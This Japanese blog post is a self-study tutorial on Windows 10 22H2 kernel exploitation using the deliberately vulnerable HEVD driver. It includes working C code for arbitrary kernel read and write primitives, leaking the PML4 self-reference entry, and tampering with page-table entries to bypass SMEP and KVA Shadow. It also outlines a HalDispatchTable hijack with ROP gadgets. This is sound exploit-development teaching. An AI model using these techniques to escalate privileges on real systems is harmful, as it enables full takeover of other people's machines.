ommadawn46's blog

きまぐれセキュリティブログ

Windows 10 22H2 - HEVDで学ぶKernel Exploit

はじめに

この記事では、筆者が自己学習の過程で得たWindowsのKernel Exploitに関する知見を共有します。

以下は、この記事に書いてあることと、この記事で解説するExploitの概要です。

この記事に書いてあること

Exploitの概要

  • 任意メモリ上書きの脆弱性を用いたWrite/Read Primitiveの構築
  • Windows 10最新版(22H2)におけるセキュリティ機構(SMEP、KVA Shadow、PML4 Self-Reference Entry Randomization)のバイパス
  • Token Stealシェルコードの実行によるSYSTEM権限への特権昇格

HackSys Extreme Vulnerable Driver (HEVD)

HEVDはセキュリティ教育目的で作られた、意図的に脆弱性が埋め込まれている「やられWindowsデバイスドライバ」です。

github.com

HEVDはインストールが簡単で、既に世の中に参考となるExploitが多数存在しています。Kernel ExploitはBinary Exploitの分野でも特に取っつきづらい印象がありますが、HEVDを利用することでお手軽に学習を始めることができます。

HEVDには様々なタイプの脆弱性が実装されていますが、今回は任意メモリ上書きの脆弱性をターゲットにします。

1. Arbitrary Overwrite

HEVDにはシンプルな任意メモリ上書き(Arbitrary Overwrite)の脆弱性があります。

以下は当該の脆弱性が存在する箇所のソースコードです。

DbgPrint("[+] Triggering Arbitrary Write\n");

//
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
//

*(Where) = *(What);

HackSysExtremeVulnerableDriver/Driver/HEVD/Windows/ArbitraryWrite.c at b02b6ea3ce4b53652348ac8fa5cc7e96b4e6c999 · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

上記の WhatWhere の両方ともユーザモードからコントロール可能な値です(いわゆる、Write-what-where状態)。また、WhereWhat の値がカーネル空間に存在するアドレスかどうか検証されていないため、攻撃者は脆弱性を悪用することで、カーネル空間の任意のアドレスに任意の値を書き込むことができます。

脆弱性を発火させてみる

以下のC言語のコードでは、上記の脆弱性を利用して任意メモリ上書きを行う関数(ArbitraryWrite)を実装しています。

#define HEVD_IOCTL_ARBITRARY_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

typedef struct _WRITE_WHAT_WHERE
{
  PULONG_PTR What;
  PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

BOOL ArbitraryWrite(HANDLE hHevd, PVOID where, PVOID what)
{
  printf("[!] Writing: *(%p) = *(%p)\n", where, what);

  PWRITE_WHAT_WHERE payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
  payload->What = (PULONG_PTR)what;
  payload->Where = (PULONG_PTR)where;

  DWORD lpBytesReturned;
  return DeviceIoControl(
    hHevd,
    HEVD_IOCTL_ARBITRARY_WRITE,
    payload,
    sizeof(payload),
    NULL,
    0,
    &lpBytesReturned,
    NULL
  );
}

例えば、ArbitraryWriteを用いて以下のような処理を実行すれば、デバイスドライバに任意のアドレスを書き換えさせることができます。

const char hello[] = "Hello, world!";
const char aaaaa[] = "AAAAAAAAAAAAA";

ArbitraryWrite(hHevd, hello, aaaaa)
printf("hello: %s\n", hello);
[!] Writing: *(000000CAFC0FFBF8) = *(000000CAFC0FFC18)
hello: AAAAAAAAorld!

hello[]aaaaa[] の値で上書きされていることが確認できます。

ドライバはカーネルモードで動作するため、Whereカーネル空間のアドレスを指定することで、攻撃者はカーネル空間のデータを改ざんすることができます。

2. Arbitrary Read

この脆弱性は、任意メモリ上書きの脆弱性であると同時に、任意メモリ読み取り(Arbitrary Read)の脆弱性でもあります。

さっきとは逆に、Whatカーネル空間のアドレスを設定し、Whereにユーザ空間のアドレスを設定します。そうすると、カーネル空間のデータがユーザ空間に書き込まれることになります。

これを利用することで、攻撃者は Where に書き込まれたデータからカーネル空間のデータをリークさせることができます。

以下のコードでは、ArbitraryWriteを利用して任意メモリ読み取りを行う関数(ArbitraryRead)を実装しています。

PVOID ArbitraryRead(HANDLE hHevd, PVOID addr)
{
  PVOID readBuf;
  ArbitraryWrite(hHevd, &readBuf, addr);
  return readBuf;
}

この関数は指定したアドレスのデータを読み出し、その値を戻り値として返します。この関数を用いることで、カーネル空間のデータをユーザモードに漏洩させることができます。

本記事の後半のExploit Developmentの章では、ここで作成した2つの関数(ArbitraryWrite, ArbitraryRead)を駆使し、カーネルモードでのシェルコード実行を目指します。

さて、次のセクションでは、今回のExploit開発にあたり障壁になるWindowsのセキュリティ機構について考えていきます。

セキュリティ機構

今回は、現時点でのWindows 10の最新バージョンである22H2を対象にKernel Exploitを開発します。

OSバージョン

  • Windows 10 22H2 (Build 19045.3930)

OS設定

  • KVA Shadow: Enabled
  • VBS/HVCI: Disabled

プロセス設定

  • Integrity Level: Medium

KVA Shadowの設定確認

KVA ShadowはMeltdownに脆弱なCPUを使用している場合はデフォルトで有効になっています。SpecuCheckというツールで現在の設定を確認することができます。下の実行結果は有効の場合です。

> SpecuCheck.exe
SpecuCheck v1.1.1    --   Copyright(c) 2018 Alex Ionescu
https://ionescu007.github.io/SpecuCheck/  --   @aionescu
--------------------------------------------------------

Mitigations for CVE-2017-5754 [rogue data cache load]
--------------------------------------------------------
[-] Kernel VA Shadowing Enabled:                    yes
 ├───> Unnecessary due lack of CPU vulnerability:    no
 ├───> With User Pages Marked Global:                no
 ├───> With PCID Support:                           yes
 └───> With PCID Flushing Optimization (INVPCID):   yes
...

VBS/HVCIの設定確認

VBS/HVCIはWindows 10ではデフォルトで無効になっています。こちらはSystem Informationツールを起動し、System Summaryの項目から設定を確認することができます。以下は無効の場合です。

Virtualization-based security: Not enabled

この機能が有効になっている場合、Kernel Exploit開発の難易度が一気に跳ね上がります。今回の記事で作成するExploitはVBS/HVCIが有効化されている環境では動作しません。

(一方、Windows 11ではVBS/HVCIはデフォルトで有効化されています。そのため、Windows 11でKernel Exploitを成功させるには追加でいくつかのセキュリティ機構をバイパスする必要があります。)

Integrity Level

Integrity Level: Mediumは、Windowsにおいて殆どプロセスに設定されている最も基本的なIntegrityレベルです。

Lowだと制限が厳しくなり、Kernel Exploitの難易度が上がりますが、逆にMediumであればWin32 APIを叩いてカーネルのベースアドレスが取得できるなど一部難易度が下がります。

では、ここからは上記の設定においてExploitを成功させるためにバイパスが必要なセキュリティ機構について説明します。

1. SMEP (Supervisor Mode Execution Prevention)

SMEPは、Windows 8で導入されたセキュリティ機構で、カーネルモード(Supervisor Mode)でのユーザモードコードの実行を防止します。

SMEP以前は、制御フローさえ奪えば、後はユーザモードコードをカーネルに実行させるだけで容易に任意コード実行が可能でした。

SMEPのメカニズム

SMEPはCPUの機能を利用して実装されています。この機能は、CPUでSMEPが有効(CR4レジスタの20番目のビットが1)になっているときに、ユーザモードコード(ページテーブルエントリの2番目のビットが1)の実行を禁止します。

以下は、WinDbgカーネルモードのCR4レジスタの値を出力した結果です。

0: kd> .formats cr4
Evaluate expression:
  Hex:     00000000`00370e78
  Decimal: 3608184
  Decimal (unsigned) : 3608184
  Octal:   0000000000000015607170
  Binary:  00000000 00000000 00000000 00000000 00000000 00110111 00001110 01111000
  Chars:   .....7.x
  Time:    Thu Feb 12 03:16:24 1970
  Float:   low 5.05614e-039 high 0
  Double:  1.78268e-317

CR4の20番目のビットには1がセットされており、SMEPが有効になっています。(CPUのビットは「0番目」から数える慣習があるらしく、1番目から数えると1つずれます。自分は最初混乱しました。)

次は、ページテーブルエントリの値を出力した結果です。

1: kd> !pte rip
                                           VA fffff8040a105f1a
PXE at FFFFFDFEFF7FBF80    PPE at FFFFFDFEFF7F0080    PDE at FFFFFDFEFE010280    PTE at FFFFFDFC02050828
contains 0000000004909063  contains 000000000490A063  contains 0A000000065A2863  contains 0000000238F4D821
pfn 4909      ---DA--KWEV  pfn 490a      ---DA--KWEV  pfn 65a2      ---DA--KWEV  pfn 238f4d    ----A--KREV

実行中のページテーブルエントリはカーネルモードコードとして確保されています。(WinDbgがパースしてくれており、Kと表記されています。)

上記のように、Windowsカーネルモードで動作している際はSMEPが有効に設定され、カーネルによって確保されたコードはカーネルモードに設定されています。

一方、通常のプロセスが確保したコードはユーザモード(U)に設定されています。SMEPが有効な状態でそれらのユーザーモードコードを実行した場合、CPUはPage Faultを発生させて即座にBSOD(クラッシュ)を引き起こします。

この仕組みにより、カーネルにユーザモードコードを実行させる攻撃を防ぐことができます。

一般的なSMEPのバイパス

SMEPのバイパスには以下のように複数の方法が考えられます。

  • ユーザモードコードを実行する前にCR4レジスタの値を改ざんしてSMEPを無効化する
  • カーネル空間に実行可能な領域を確保し、カーネルモードコードとして任意のコードを書き込む
  • ユーザモードコードのページテーブルエントリを改ざんし、カーネルモードコードに変更する

2. KASLR (Kernel Address Space Layout Randomization)

KASLRは、Windows 8.1で導入されたカーネルアドレス空間配置のランダマイズ機能です。

攻撃者によるカーネル空間のアドレス推測を困難にする効果があります。ユーザ空間におけるASLRのカーネル空間版ですね。

KASLRのメカニズム

KASLRが有効になっている場合、OSの起動時にカーネルのベースアドレスがランダムに配置されます。

WinDbgで確認すると、再起動するたびにカーネルのベースアドレスが変化していることが分かります。

1: kd> ? nt
Evaluate expression: -8795109457920 = fffff800`3aa00000
0: kd> ? nt
Evaluate expression: -8785399644160 = fffff802`7d600000

一般的なKASLRのバイパス手法

Integrity Level: Mediumの環境下では、EnumDeviceDriversNtQuerySystemInformationなどのAPIを使用してカーネルのベースアドレスを取得することが可能です。Windowsにおいては、KASLRはIntegrity Level: Medium以上のプロセスに対するセキュリティ機構としてはあまり効果がないものとなってます。

3. PML4 Self-Reference Entry Randomization

PML4 Self-Reference Entry Randomizationは、Windows 10のバージョン1607で導入されたKASLR強化パッチのようなものです。

この機能が追加される以前は、PML4 Self-Reference Entryが固定値であったため、KASLRが有効になっている場合でも、ページテーブルエントリへアクセスするための仮想アドレスに関しては推測することができました。

PML4 Self-Reference Entry Randomizationのメカニズム

PML4 Self-Reference Entry Randomizationは、OSの起動時にPML4 Self-Reference Entryを0x100-0x1FFの範囲でランダムに決定します。

WinDbgで確認すると、再起動するたびにページテーブルエントリの仮想アドレスが変化していることが分かります。

0: kd> !pte 0x0
                                           VA 0000000000000000
PXE at FFFFEDF6FB7DB000    PPE at FFFFEDF6FB600000    PDE at FFFFEDF6C0000000    PTE at FFFFED8000000000
contains 8A0000004D50E867  contains 0000000000000000
pfn 4d50e     ---DA--UW-V  contains 0000000000000000
not valid
0: kd> !pte 0x0
                                           VA 0000000000000000
PXE at FFFFFDFEFF7FB000    PPE at FFFFFDFEFF600000    PDE at FFFFFDFEC0000000    PTE at FFFFFD8000000000
contains 8A00000004FEE867  contains 0000000000000000
pfn 4fee      ---DA--UW-V  contains 0000000000000000
not valid

この機能の導入以前はPML4 Self-Reference Entryが0x1EDで固定されていたため、PML4の仮想アドレスも必ず0xFFFFF6FB7DBED000で固定されていました。

このあたりのページングの仕組みについて詳しく知りたい方はCore Securityの記事を読むのがおすすめです。

一般的なPML4 Self-Reference Entry Randomizationのバイパス手法

カーネルはメモリ管理のためにページテーブルエントリの書き換えを行う必要があり、そのためにページテーブルエントリへの仮想アドレスを取得できる仕組みになっている必要があります。Windowsでは、カーネル空間内の特定のアドレス(nt!MiGetPteAddress + 0x13)にPML4 Self-Reference Entryが保持されており、カーネルはこの値を用いることでページテーブルエントリの仮想アドレスを計算しています。

このアドレスへのオフセットは既知であるため、カーネル空間からデータをリークできる場合、値を読み出してPML4 Self-Reference Entry Randomizationをバイパスすることができます。

4. kCFG (Kernel Control Flow Guard)

kCFGは、Windows 10のバージョン1703で導入されたセキュリティ機構で、関数ポインタの書き換えによる制御フローの乗っ取りを緩和します。VBS/HVCIが有効な場合にのみ完全に機能しますが、無効化されている環境でも部分的な保護機能(Kernel-mode Address Check)が働きます。

kCFGとKernel-mode Address Checkのメカニズム

kCFGは、間接関数呼び出し時に、ジャンプ先のアドレスが信頼できるアドレスかどうかをチェックします。これにより、シェルコードへのジャンプはもちろん、ROPガジェットへのジャンプも困難になります。

ただし、VBS/HVCIが無効化されている場合、Windowsは呼び出し先のアドレスがカーネルモードアドレスかどうか(上位ビットが1か)のみをチェックします。

一般的なKernel-mode Address Checkのバイパス手法

ここではVBS/HVCIが無効化されている前提(Kernel-mode Address Checkのみ)のバイパス手法について考えます。

この場合では、関数ポインタを書き換えても直接ユーザモードコードにはジャンプはできません。そのため、カーネル空間内のコードを再利用するROPのようなテクニックと組み合わせる必要があります。

具体的には、カーネルモードコード内からユーザモードコードへジャンプするROPガジェットを見つけ、そのROPガジェット経由でユーザモードコードにジャンプするといったバイパス手法が考えられます。

5. KVA Shadow (Kernel Virtual Address Shadow)

KVA Shadowは、2018年3月にWindows 10へ実装されたMeltdown脆弱性対策です。(LinuxではKPTIとして知られています。)

本来はMeltdownを緩和するための機能ですが、SMEPと同様にカーネルモードでのユーザモードコードの実行を防止する副次的な効果があります。

KVA Shadowのメカニズム

ページングに使用されるPML4テーブルは、通常1プロセスにつき1個用意されます。しかし、KVA Shadowが有効になっている環境では「ユーザモード用のPML4テーブル」と「カーネルモード用のPML4テーブル」の2つのPML4テーブルが用意されるようになります。

これらのPML4テーブルはマップされている内容が異なっており、それぞれのモードで不必要な内容はマップされないようになっています。OSはコンテキストスイッチの際、2種類のPML4テーブルをコンテキストに合わせて切り替えることで、ユーザモードとカーネルモードのメモリ分離を強化します。

WinDbgカーネルデバッグを行い、カーネルモードからユーザモードコードのページテーブルエントリを確認してみます。

KVA Shadowが無効な場合:

1: kd> !pte 000001e59fae0003
                                           VA 000001e59fae0003
PXE at FFFFFDFEFF7FB018    PPE at FFFFFDFEFF603CB0    PDE at FFFFFDFEC07967E8    PTE at FFFFFD80F2CFD700
contains 0A000001B6507867  contains 0A0000020A908867  contains 0A0000020A609867  contains 00000001E2181867
pfn 1b6507    ---DA--UWEV  pfn 20a908    ---DA--UWEV  pfn 20a609    ---DA--UWEV  pfn 1e2181    ---DA--UWEV

KVA Shadowが有効な場合:

0: kd> !pte 000001e59fae0003
                                           VA 000001d9a5760003
PXE at FFFFFDFEFF7FB018    PPE at FFFFFDFEFF603B30    PDE at FFFFFDFEC0766958    PTE at FFFFFD80ECD2BB00
contains 8A000002295B2867  contains 0A000002293B3867  contains 0A000001F4FB4867  contains 00000001F8FF4867
pfn 2295b2    ---DA--UW-V  pfn 2293b3    ---DA--UWEV  pfn 1f4fb4    ---DA--UWEV  pfn 1f8ff4    ---DA--UWEV

KVA Shadowが有効な場合は、PML4Eが実行不可(E-)になっていることが確認できます。(ちなみに、Windowsの世界ではPML4EはPXEという名前で呼ばれています。)

上記の通り、KVA Shadowが有効になっている場合、カーネルモード用のPML4テーブルには、ユーザ空間のアドレス帯が実行不可としてマップされます。(逆に、ユーザモード用のPML4テーブルには、カーネル空間のアドレス帯がそもそもマップされません。)

この仕組みは、ページテーブルエントリのXD (NX) ビットを強制的に1にすることで実現されています。KVA Shadowは、SMEPと同様にカーネルモードでのユーザモードコードの実行を防ぐ働きをすることからソフトウェアSMEPと呼ばれることもあります。

一般的なKVA Shadowのバイパス手法

KVA Shadowのバイパスには以下のように複数の方法が考えられます。

  • ユーザモードコードを実行する前にユーザモード用PML4テーブルに切り替わるようにCR3レジスタの値を改ざんする
  • カーネル空間に実行可能な領域を確保し、カーネルモードコードとして任意のコードを書き込む
  • カーネルモード用PML4テーブルのエントリを改ざんし、実行可能に変更する

Exploit Development

Exploitの開発を始める前に、まずはExploitの全体的な戦略を立てます。

0. 目標・戦略

ここでは権限昇格を目標としてExploit Developmentを行います。


目標: Token Stealシェルコードの実行による、SYSTEM権限への特権昇格

目標を達成するためには、ArbitraryWriteArbitraryReadを駆使して先程紹介したセキュリティ機構の全てをバイパスする必要があります。

まずは、Exploitをステップに分解して戦略を立てます。


戦略1. PML4 Self-Reference Entry Randomizationのバイパス

  • 前提1: ArbitraryReadでカーネル内の情報を読み取ることができる
  • 前提2: カーネル内にはPML4 Self-Reference Entryが保持されている

カーネル内の情報からPML4 Self-Reference Entryをリークすることでバイパスする


戦略2. SMEPとKVA Shadowのバイパス

  • 前提1: ArbitraryWriteでカーネル内の情報を改ざんすることができる
  • 前提2: 戦略1.でリークしたPML4 Self-Reference Entryを元に、シェルコードのPML4エントリの仮想アドレスを計算できる

→ PML4エントリの仮想アドレスを指定し、ArbitraryWriteでPML4エントリをXDビット = 0かつU/Sビット = 0に改ざんすることでバイパスする


戦略3. Kernel-mode Address Checkのバイパス

  • 前提1: カーネル内の関数ポインタを書き換えることで任意のアドレスを間接関数呼び出しさせる既知テクニックがある
  • 前提2: カーネル内には制御可能なレジスタに格納されたアドレスにジャンプする既知のROPガジェットが存在する

→ 関数ポインタを「制御可能なレジスタに格納されたアドレスにジャンプするROPガジェット」のアドレスで書き換え、当該レジスタにユーザモードコードのアドレスを指定してバイパスする


後は、Token Stealシェルコードを準備したり、関数ポインタの呼び出しを発生させたり、BSOD防止の為にカーネルの状態を元通りに戻したり、いくつか処理を追加する必要がありますが、概ね上記の戦略で目標が達成できると考えられます。

では、ここからは上記の戦略に基づいて実際にExploit Developmentを行っていきます。

1. PML4 Self-Reference Entry Randomizationのバイパス

ここでは、ArbitraryReadでカーネル内からPML4 Self-Reference Entryをリークすることを目指します。

MiGetPteAddressの解析

カーネルはメモリ管理のために、ページテーブルエントリの仮想アドレスを知ることができる必要があります。そのために用意されているのがMiGetPteAddressというカーネルモード用の関数です。

この関数をWinDbgでディスアセンブルすると以下のようなコードが表示されます。

0: kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff807`8206b560 48c1e909        shr     rcx,9
fffff807`8206b564 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff807`8206b56e 4823c8          and     rcx,rax
fffff807`8206b571 48b80000000000ecffff mov rax,0FFFFEC0000000000h
fffff807`8206b57b 4803c1          add     rax,rcx
fffff807`8206b57e c3              ret

このコードは「引数として与えられた仮想アドレス」の「PTE (Page Table Entry)の仮想アドレス」を取得するものです。このコードの内の 0FFFFEC0000000000h の部分にPML4 Self-Reference Entryの値が含まれています。

ページテーブルエントリの仮想アドレスを計算

ここで、0xFFFFF0123456789Aという適当なアドレスを例にして、上記のコードをPythonでシミュレートしてみます。

In [17]: hex(((0xFFFFF0123456789A >> 9) & 0x7FFFFFFFF8) + 0xFFFFEC0000000000)
Out[17]: '0xffffec78091a2b38'

この計算前後の仮想アドレスを分解し、比較すると以下のようになります。

  • オリジナル(計算前): 0xFFFFF0123456789A
1111111111111111 (0xffff) - Ignored
111100000        (0x01e0) - PML4 index
001001000        (0x0048) - PDPT index
110100010        (0x01a2) - PDT index
101100111        (0x0167) - PT index
100010011010     (0x089a) - Physical address offset
  • PTE(計算後): 0xFFFFEC78091A2B38
1111111111111111 (0xffff) - Ignored
111011000        (0x01d8) - PML4 index
111100000        (0x01e0) - PDPT index
001001000        (0x0048) - PDT index
110100010        (0x01a2) - PT index
101100111000     (0x0b38) - Physical address offset

計算前後で、値がPML4 index → PDPT index、PDPT index → PDT index、PDT index → PT indexのように一段下のページ構造にシフトしています。また、計算後のPML4 indexには元の仮想アドレスには存在しない値(0x01d8)が入っています。

この値(0x01d8)がPML4 Self-Reference Entryです。

PML4 Self-Reference Entryの値を知っていれば、同じ計算を繰り返すことで、同様にPDTE、PDPTE、PML4Eの仮想アドレスも計算することができます。

  • PDTE: 0xFFFFEC763C048D10
1111111111111111 (0xffff) - Ignored
111011000        (0x01d8) - PML4 index
111011000        (0x01d8) - PDPT index
111100000        (0x01e0) - PDT index
001001000        (0x0048) - PT index
110100010000     (0x0d10) - Physical address offset
  • PDPTE: 0xFFFFEC763B1E0240
1111111111111111 (0xffff) - Ignored
111011000        (0x01d8) - PML4 index
111011000        (0x01d8) - PDPT index
111011000        (0x01d8) - PDT index
111100000        (0x01e0) - PT index
001001000000     (0x0240) - Physical address offset
  • PML4E: 0xFFFFEC763B1D8F00
1111111111111111 (0xffff) - Ignored
111011000        (0x01d8) - PML4 index
111011000        (0x01d8) - PDPT index
111011000        (0x01d8) - PDT index
111011000        (0x01d8) - PT index
111100000000     (0x0f00) - Physical address offset

PML4 Self-Reference Entryのリーク

今回はPML4Eの改ざんによるSMEPとKVA Shadowのバイパスを行います。そのため、Exploitの中でPML4 Self-Reference EntryをリークしてPML4Eの仮想アドレスを計算する必要があります。

先程のMiGetPteAddressのコードから値をリークする方法を考えます。

先程の値0FFFFEC0000000000hはMiGetPteAddressのアドレスから0x13バイトのオフセットにあります。

1: kd> dq nt!MiGetPteAddress+0x13 L1
fffff802`45c6b573  ffffec00`00000000

この位置は、カーネルのベースアドレスから0x26b573バイトのオフセットです。

1: kd> ? nt!MiGetPteAddress+0x13 - nt
Evaluate expression: 2536819 = 00000000`0026b573

このオフセットを指定し、ArbitraryReadでカーネル空間から値をリークします。

const size_t MiGetPteAddress13_Offset = 0x26b573;
PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);
PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);
printf("[*] Leaked PTE virtual address: %p\n", pteVirtualAddress);

そして、以下のコードでリークした値からPML4 Self-Reference Entryを抽出します。

unsigned int ExtractPml4Index(PVOID address)
{
  return ((uintptr_t)address >> 39) & 0x1ff;
}
unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);
printf("[*] Extracted PML4 Self Reference Entry index: %03x\n", pml4SelfRef_Index);

コードを実行すると、以下のようにPML4 Self Reference Entryをリークすることができます。

[!] Writing: *(000000BF51BBFC60) = *(FFFFF80560C6B573)
[*] Leaked PTE virtual address: FFFFEC0000000000
[*] Extracted PML4 Self Reference Entry index: 1D8

これで、PML4 Self-Reference Entry Randomizationをバイパスする処理をExploitに組み込むことができました。

2. SMEPとKVA Shadowのバイパス

PML4 Self Reference Entryをリークすることができたので、次はシェルコードのPML4Eを改ざんし、SMEPとKVA Shadowのバイパスを目指します。

ダミーシェルコード

ダミーの何もしないシェルコード(nop/nop/nop/int3)を実行可能なメモリ領域にコピーします。

PVOID AllocExecutableCode(PVOID rawCode, size_t size)
{
  PVOID executableCode = VirtualAlloc(
    NULL,
    size,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
  );
  RtlMoveMemory(executableCode, rawCode, size);
  return executableCode;
}
unsigned char rawShellcode[] = {
  0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3
};
PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
printf("[*] Executable shellcode: %p\n", shellcode);

WinDbgカーネルモードの状態で確保されたシェルコードのPML4Eを確認します。

[*] Executable shellcode: 0000024BBD5D0000
0: kd> db 0000024BBD5D0000 L4
0000024b`bd5d0000  90 90 90 cc                                      ....

0: kd> !pte 0000024BBD5D0000
                                           VA 0000024bbd5d0000
PXE at FFFFDB6DB6DB6020    PPE at FFFFDB6DB6C04970    PDE at FFFFDB6D8092EF50    PTE at FFFFDB0125DEAE80
contains 8A00000141D01867  contains 0A0000020CC02867  contains 0A000001F612E867  contains 00000001F6952867
pfn 141d01    ---DA--UW-V  pfn 20cc02    ---DA--UWEV  pfn 1f612e    ---DA--UWEV  pfn 1f6952    ---DA--UWEV

現在、シェルコードのPML4E(仮想アドレス: 0xFFFFDB6DB6DB6020)は、KVA Shadowによって実行不可(-)に変更されています。また、ユーザモード(U)のコードであるためSMEPによっても実行不可になっています。

このシェルコードのPML4Eを実行可能(-E)かつカーネルモード(UK)に改ざんし、KVA ShadowとSMEPをバイパスします。

シェルコードのPML4E仮想アドレスを計算

PML4EはArbitraryWriteで改ざんが可能ですが、そのためにはまずPML4Eの仮想アドレスを知る必要があります。

PML4Eの仮想アドレスを計算するコードは以下の通りです。

PVOID CalculatePml4VirtualAddress(unsigned int pml4SelfRefIndex, unsigned int pml4Index)
{
  uintptr_t address = 0xffff;
  address = (address << 0x9) | pml4SelfRefIndex; // PML4 Index
  address = (address << 0x9) | pml4SelfRefIndex; // PDPT Index
  address = (address << 0x9) | pml4SelfRefIndex; // PDT Index
  address = (address << 0x9) | pml4SelfRefIndex; // PT Index
  address = (address << 0xC) | pml4Index * 8;    // Physical Address Offset
  return (PVOID)address;
}

先程リークしたPML4 Self Reference Entryの値を用いて、PML4Eの仮想アドレスを計算します。

unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);
printf("[*] Extracted shellcode's PML4 index: %03x\n", pml4Shellcode_Index);

PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);
printf("[*] Calculated virtual address for shellcode's PML4 entry: %p\n", pml4Shellcode_VirtualAddress);

以下の通り、WinDbgで確認したときと同じ仮想アドレス(0xFFFFDB6DB6DB6020)が求まっていることが確認できます。

[*] Extracted shellcode's PML4 index: 004
[*] Calculated virtual address for shellcode's PML4 entry: FFFFDB6DB6DB6020

シェルコードのPML4Eをリーク

上記の仮想アドレスを用いて、PML4Eの値をArbitraryReadでリークします。

uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);
printf("[*] Leaked shellcode's PML4 entry: %p\n", (PVOID)originalPml4Shellcode_Entry);
[!] Writing: *(000000A56EFDF9F0) = *(FFFFDB6DB6DB6020)
[*] Leaked shellcode's PML4 entry: 8A00000141D01867

実行結果から、8A00000141D01867 という値がPML4Eとして設定されていることが分かります。

この値の意味を知りたいため、PML4Eの値をパースするPythonスクリプトを書きました。このスクリプトでシェルコードのPML4Eをパースしてみます。

以下が実行結果です。

> python parse_pml4e.py 8A00000141D01867
PML4E: 1000101000000000000000000000000101000001110100000001100001100111
Bit  0: Present                        - Set
Bit  1: Read/Write                     - Set
Bit  2: User/Supervisor                - Set
Bit  3: Page-Level Write-Through       - Not Set
Bit  4: Page-Level Cache Disable       - Not Set
Bit  5: Accessed                       - Set
Bit 63: Execute Disable                - Set
Physical Frame Number (PFN): 0x141d01

この結果から、2ビット目と63ビット目を0にクリアすることでカーネルモード(K)かつ実行可能(E)の状態に変更できることが分かります。

シェルコードのPML4Eを改ざん

上記の2つのビットをクリアする関数(ModifyPml4EntryForKernelMode)を実装しました。

uintptr_t ModifyPml4EntryForKernelMode(uintptr_t originalPml4Entry)
{
  uintptr_t modifiedPml4Entry = originalPml4Entry;
  modifiedPml4Entry &= ~((uintptr_t)1 << 2);  // Clear U/S bit (Kernel Mode)
  modifiedPml4Entry &= ~((uintptr_t)1 << 63); // Clear XD bit (Executable)
  return modifiedPml4Entry;
}

ModifyPml4EntryForKernelModeを用いてビットをクリアし、その値でシェルコードのPML4Eを上書きします。

uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);
printf("[*] Modified shellcode's PML4 entry: %p\n", (PVOID)modifiedPml4Shellcode_Entry);

ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry);
printf("[*] Overwrote PML4 entry to make shellcode executable in kernel mode\n");
[*] Modified shellcode's PML4 entry: 0A00000141D01863
[!] Writing: *(FFFFDB6DB6DB6020) = *(000000A56EFDFA68)
[*] Overwrote PML4 entry to make shellcode executable in kernel mode

PML4Eの上書き後、WinDbgでシェルコードのPML4Eを確認してみます。

0: kd> !pte 0000024BBD5D0000
                                           VA 0000024bbd5d0000
PXE at FFFFDB6DB6DB6020    PPE at FFFFDB6DB6C04970    PDE at FFFFDB6D8092EF50    PTE at FFFFDB0125DEAE80
contains 0A00000141D01863  contains 0A0000020CC02867  contains 0A000001F612E867  contains 00000001F6952867
pfn 141d01    ---DA--KWEV  pfn 20cc02    ---DA--UWEV  pfn 1f612e    ---DA--UWEV  pfn 1f6952    ---DA--UWEV

シェルコードのPML4Eが実行可能(E)かつカーネルモード(K)に変更されています。

これで、シェルコードはカーネルモードで実行可能な状態になりました。SMEPとKVA Shadowのバイパス完了です。

3. Kernel-mode Address Checkのバイパス

カーネルモードで実行可能なシェルコードを確保することに成功したので、次はどうやってRIPをシェルコードに向けるかを考えます。

HalDispatchTableの上書き

Windowsカーネル内には、HalDispatchTableという関数ポインタのテーブルが存在しています。このテーブルに含まれる関数ポインタを上書きすることで制御フローを奪うテクニックがWindows Kernel Exploitにおいては定石となっています。

HalDispatchTable+0x8には、通常はHaliQuerySystemInformationという関数へのポインタが格納されています。そして、この関数ポインタは、NtQueryIntervalProfileという関数の中で間接関数呼び出しされます。

これを利用し、HalDispatchTable+0x8を改ざんして、その状態でNtQueryIntervalProfileを実行することで、攻撃者はカーネルモードで任意のアドレスを呼び出すことができます。

ntoskrnl.exeからROPガジェットを見つける

しかし、今回はkCFGの部分的な保護機能であるKernel-mode Address Checkによって「間接関数呼び出しの先がカーネル空間のアドレス帯かどうか」がチェックされます。そのため、ユーザ空間のアドレス帯に確保されているシェルコードには、上記のテクニックで直接ジャンプさせることはできません。

一方で、カーネル内のコードであればKernel-mode Address Checkに通過します。つまり、上記のテクニックを用いて、カーネル内のROPガジェットへジャンプさせることならできます。

ここからは、一度カーネル内のROPガジェットを経由してシェルコードにジャンプする方法を考えたいと思います。

Windowsカーネルのバイナリは以下のパスに存在しています。

C:\Windows\System32\ntoskrnl.exe

このバイナリに対してrp++を実行し、ROPガジェットを抽出します。

.\rp-win.exe -f .\ntoskrnl.exe -r 5 > .\ntoskrnl.txt

結果をgrepすると、以下のようにレジスタへ直にジャンプするROPガジェットがいくつも見つかります。

0x14060daa6: jmp rax ; (1 found)
0x14045751a: jmp rsi ; (1 found)
0x14080d5db: jmp r13 ; (1 found)

RIP取得の戦略

上記のようなROPガジェットを利用することで、カーネルモードの制御フローをシェルコードに移すことができる可能性があります。

